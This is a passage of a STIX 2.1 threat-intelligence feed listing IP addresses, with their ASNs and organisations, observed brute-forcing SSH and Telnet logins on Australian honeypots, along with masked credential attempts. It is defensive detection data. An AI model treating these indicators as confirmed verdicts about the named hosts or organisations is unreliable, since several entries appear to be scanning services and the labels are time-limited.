      "valid_until": "2026-04-23T21:15:05.000Z"
    },
    {
      "created": "2026-03-22T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135967. Organisation(s): Bach Kim Network solutions Join stock company. Usernames observed (masked): r**t, s****v, 3**********4, b******n, d****n. Passwords observed (masked): ***, 1**4, 1***5, 1****6, 3***********4.",
      "id": "indicator--962f6b0b-953e-4e4b-835b-7e5650080ca8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '42.96.13.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T21:15:08.000Z",
      "valid_until": "2026-04-23T21:15:05.000Z"
    },
    {
      "created": "2026-03-22T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24309. Organisation(s): Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA. Usernames observed (masked): a*****r. Passwords observed (masked): a*****r.",
      "id": "indicator--efce2aa2-017f-4835-b9c3-4a8588cc0fd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.207.247.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T21:15:08.000Z",
      "valid_until": "2026-04-23T21:15:05.000Z"
    },
    {
      "created": "2026-03-22T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 149020. Organisation(s): WebHorizon Internet Services. Usernames observed (masked): r**t, 3**********4, b***n, ***, f********r. Passwords observed (masked): 3***********4, 3**********4, B******3, P******d, R******3.",
      "id": "indicator--d041b35b-6ce9-4fdd-9878-8152965b1be3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.179.45.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T22:15:08.000Z",
      "valid_until": "2026-04-23T22:15:06.000Z"
    },
    {
      "created": "2026-03-22T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134810. Organisation(s): China Mobile Group JiLin communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, h******!, r********6.",
      "id": "indicator--9b4f3d4d-89a2-4481-bac5-ede7b6e8958d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.26.6.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T22:15:08.000Z",
      "valid_until": "2026-04-23T22:15:06.000Z"
    },
    {
      "created": "2026-03-22T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 20857. Organisation(s): Signet B.V.. Usernames observed (masked): r**t, s****s, 3**********4, b********r, ***. Passwords observed (masked): ***, 1****6, 1******8, 1**********Z, 3***********4.",
      "id": "indicator--233bf1f9-4dca-4c64-bc00-a3c01484eb37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '136.144.244.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T22:15:08.000Z",
      "valid_until": "2026-04-23T22:15:06.000Z"
    },
    {
      "created": "2026-03-22T22:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): 3**********4, e***n, f***k, c**t, k***a. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****6, C******!.",
      "id": "indicator--e9506c64-7c93-4ecf-9a4d-b2aa7ceaa48b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T22:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.166.166.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T22:15:08.000Z",
      "valid_until": "2026-04-23T22:15:06.000Z"
    },
    {
      "created": "2026-03-22T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22. Source country: TW. ASN(s): 17421. Organisation(s): Mobile Business Group. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--5020628e-69e1-4504-a09e-a17fc9e6d486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '111.70.1.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:15:14.000Z",
      "valid_until": "2026-04-23T23:15:11.000Z"
    },
    {
      "created": "2026-03-22T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): d******1, e*****k, g*****y, t****i. Passwords observed (masked): G********3, d**************1, e************k, t***********6.",
      "id": "indicator--7e9cf4a4-b3d1-4821-8952-3f0ae6a9df5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.247.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:15:14.000Z",
      "valid_until": "2026-04-23T23:15:11.000Z"
    },
    {
      "created": "2026-03-22T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED.",
      "id": "indicator--356f22cd-5db5-43d3-9b36-fd44430ec2c5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.128.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:15:14.000Z",
      "valid_until": "2026-04-23T23:15:11.000Z"
    },
    {
      "created": "2026-03-22T23:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1583c68d-a25d-47eb-8a03-39b7e69b70c1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T23:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T23:15:14.000Z",
      "valid_until": "2026-04-23T23:15:11.000Z"
    },
    {
      "created": "2026-03-23T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, t*******r, v****t, w*******r, a*****o. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, D*******3.",
      "id": "indicator--c1ee1b7f-908a-4bbc-b90a-0fc5b60b0311",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.193.178.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:15:08.000Z",
      "valid_until": "2026-04-24T00:15:05.000Z"
    },
    {
      "created": "2026-03-23T00:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--f847a663-e3b6-4e7e-b9a6-5519230192b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.38.194.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:15:08.000Z",
      "valid_until": "2026-04-24T00:15:05.000Z"
    },
    {
      "created": "2026-03-23T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4, a*****e, c***r, d*****p. Passwords observed (masked): 1****6, ***, 1***5, 1********d, 3***********4.",
      "id": "indicator--4fd20af8-116c-47e3-82ad-652b42c2f4f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.135.251.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:15:08.000Z",
      "valid_until": "2026-04-24T00:15:05.000Z"
    },
    {
      "created": "2026-03-23T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0f6bf8f8-beb1-4371-beda-1428aed01545",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:15:08.000Z",
      "valid_until": "2026-04-24T00:15:05.000Z"
    },
    {
      "created": "2026-03-23T00:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--69a73c4b-4549-497e-9d9a-8ddebcb237b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:15:08.000Z",
      "valid_until": "2026-04-24T00:15:05.000Z"
    },
    {
      "created": "2026-03-23T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 468. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, t*******r, v****t, w*******r, a*****o. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, D*******3.",
      "id": "indicator--0a066013-4256-4f54-96ab-e92a46ca4ff9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:15:08.000Z",
      "valid_until": "2026-04-24T00:15:05.000Z"
    },
    {
      "created": "2026-03-23T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): <********>, Q**********3, s*******3.",
      "id": "indicator--f65310cf-cd41-4590-ac67-3c450210c12b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.200.98.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:15:08.000Z",
      "valid_until": "2026-04-24T00:15:05.000Z"
    },
    {
      "created": "2026-03-23T00:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3230. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): r**t, u****u, d****y, t**t, d******r. Passwords observed (masked): 1****6, ***, p******d, 1******8, P******d.",
      "id": "indicator--94e5c7bc-a4c4-4af6-91ec-1889ff8bf905",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T00:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.33.90.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T00:15:08.000Z",
      "valid_until": "2026-04-24T00:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, L*********o, r**t.",
      "id": "indicator--90701e41-42a6-49c4-998f-77a774b383db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.126.4.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135687. Organisation(s): Qwistel Network Service Private Limited.",
      "id": "indicator--d533bcf4-d26f-45a6-beb5-063714190890",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.176.16.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u****u. Passwords observed (masked): C*******3.",
      "id": "indicator--c3f2940b-0087-4b16-a3f0-b5d75c777d03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.129.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--7fbc5d09-a4f9-4da8-929f-cf681dd425db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bb51ea1c-03af-4353-9f4f-449078a9af22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22, 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e8c2a11c-46ec-4cc1-8d3b-58018c61f615",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.180.246.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, u***2, 3**********4, a*******t, a***r. Passwords observed (masked): 1****6, 1**4, 1******8, 1*******1, 3***********4.",
      "id": "indicator--7cb8c2f2-42f4-485c-8efa-b08eb322b196",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.154.233.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--d2909f79-f8f7-4571-b18c-7273e860b928",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.221.170.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T01:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--829191e5-fd48-4009-9de3-0d1ffbb6d11d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T01:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T01:15:09.000Z",
      "valid_until": "2026-04-24T01:15:05.000Z"
    },
    {
      "created": "2026-03-23T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--b97899b0-bae8-4ab6-8418-253d639ec97c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '108.181.221.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:15:14.000Z",
      "valid_until": "2026-04-24T02:15:11.000Z"
    },
    {
      "created": "2026-03-23T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--03b0672e-2bba-479c-860d-7e5d2a2feb37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.248.163.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:15:14.000Z",
      "valid_until": "2026-04-24T02:15:11.000Z"
    },
    {
      "created": "2026-03-23T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--bed0dbff-1ad2-47b0-956b-a9e169ca6e2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.244.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:15:14.000Z",
      "valid_until": "2026-04-24T02:15:11.000Z"
    },
    {
      "created": "2026-03-23T02:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8d2d7ccb-608a-4a44-a3b1-2a0d11c28ea4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.47.56.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:15:14.000Z",
      "valid_until": "2026-04-24T02:15:11.000Z"
    },
    {
      "created": "2026-03-23T02:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a816da94-bcb7-4b70-bd57-d9dab87ad9c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T02:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.23.157.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T02:15:14.000Z",
      "valid_until": "2026-04-24T02:15:11.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 344. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 141990. Organisation(s): KHAZANA ENTERPRISE PRIVATE LIMITED. Usernames observed (masked): 3**********4, ***, t****t, v*******o, z***e. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, A*******!.",
      "id": "indicator--87e07e53-4a30-4ae1-b136-a208e56354c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.164.9.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): 3**********4, ***, t****t, z***e, a*****r. Passwords observed (masked): 3***********4, 3**********4, p******d, ***, A*******!.",
      "id": "indicator--4a13290b-b8ca-4e07-917a-175657498958",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-23T03:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.217.144.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-23T03:15:08.000Z",
      "valid_until": "2026-04-24T03:15:05.000Z"
    },
    {
      "created": "2026-03-23T03:15:08.000Z",
